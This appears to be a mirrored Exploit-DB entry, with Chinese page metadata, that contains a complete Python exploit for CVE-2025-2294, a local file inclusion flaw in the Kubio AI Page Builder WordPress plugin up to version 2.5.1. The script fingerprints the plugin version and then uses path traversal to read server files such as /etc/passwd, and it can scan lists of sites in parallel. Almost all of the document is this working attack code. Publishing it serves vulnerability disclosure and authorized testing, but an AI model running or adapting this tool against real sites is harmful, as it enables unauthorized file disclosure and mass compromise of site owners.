Kubio AI Page Builder 2.5.1 – Local File Inclusion (LFI)

Exploit Database
5 阅读

作者： 4m3rr0r

日期： 2025-04-05
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/52125/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

# Exploit Title: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)

# Date: 2025-04-04

# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)

# Vendor Homepage: https://wordpress.org/plugins/kubio/

# Software Link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip

# Reference: https://www.cve.org/CVERecord?id=CVE-2025-2294

# Version: <= 2.5.1

# Tested on: WordPress 6.4.2 (Ubuntu 22.04 LTS)

# CVE: CVE-2025-2294

"""

Description:

The Kubio AI Page Builder plugin for WordPress contains a Local File Inclusion vulnerability

in the `kubio_hybrid_theme_load_template` function. This allows unauthenticated attackers to

read arbitrary files via path traversal. Can lead to RCE when combined with file upload capabilities.

"""

import argparse

import re

import requests

from urllib.parse import urljoin

from concurrent.futures import ThreadPoolExecutor

class Colors:

HEADER = '\033[95m'

OKBLUE = '\033[94m'

OKGREEN = '\033[92m'

WARNING = '\033[93m'

FAIL = '\033[91m'

ENDC = '\033[0m'

BOLD = '\033[1m'

UNDERLINE = '\033[4m'

def parse_version(version_str):

parts = list(map(int, version_str.split('.')))

while len(parts) < 3:

parts.append(0)

return tuple(parts[:3])

def check_plugin_version(target_url):

readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt')

try:

response = requests.get(readme_url, timeout=10)

if response.status_code == 200:

version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I)

if not version_match:

return False, "Version not found"

version_str = version_match.group(1).strip()

try:

parsed_version = parse_version(version_str)

except ValueError:

return False, f"Invalid version format: {version_str}"

return parsed_version <= (2, 5, 1), version_str

return False, f"HTTP Error {response.status_code}"

except Exception as e:

return False, f"Connection error: {str(e)}"

def exploit_vulnerability(target_url, file_path, show_content=False):

exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}"

try:

response = requests.get(exploit_url, timeout=10)

if response.status_code == 200:

if show_content:

print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}")

print(Colors.OKBLUE + response.text + Colors.ENDC)

return True

return False

except Exception as e:

return False

def process_url(url, file_path, show_content, output_file):

print(f"{Colors.HEADER}[*] Checking: {url}{Colors.ENDC}")

is_vuln, version_info = check_plugin_version(url)

if is_vuln:

print(f"{Colors.OKGREEN}[+] Vulnerable: {url} (Version: {version_info}){Colors.ENDC}")

exploit_success = exploit_vulnerability(url, file_path, show_content)

if output_file and exploit_success:

with open(output_file, 'a') as f:

f.write(f"{url}\n")

return url if exploit_success else None

else:

print(f"{Colors.FAIL}[-] Not vulnerable: {url} ({version_info}){Colors.ENDC}")

return None

def main():

parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner")

group = parser.add_mutually_exclusive_group(required=True)

group.add_argument("-u", "--url", help="Single target URL (always shows file content)")

group.add_argument("-l", "--list", help="File containing list of URLs")

parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd",

help="File path to exploit (default: ../../../../../../../../etc/passwd)")

parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")

parser.add_argument("-v", "--verbose", action="store_true",

help="Show file contents when using -l/--list mode")

parser.add_argument("-t", "--threads", type=int, default=5,

help="Number of concurrent threads for list mode")

args = parser.parse_args()

# Determine operation mode

if args.url:

# Single URL mode - always show content

process_url(args.url, args.file, show_content=True, output_file=args.output)

elif args.list:

# List mode - handle multiple URLs

with open(args.list, 'r') as f:

urls = [line.strip() for line in f.readlines() if line.strip()]

print(f"{Colors.BOLD}[*] Starting scan with {len(urls)} targets...{Colors.ENDC}")

with ThreadPoolExecutor(max_workers=args.threads) as executor:

futures = []

for url in urls:

futures.append(

executor.submit(

process_url,

url,

args.file,

args.verbose,

args.output

)

vulnerable_urls = [future.result() for future in futures if future.result()]

print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}")

print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}")

if args.output:

print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}")

if __name__ == "__main__":

main()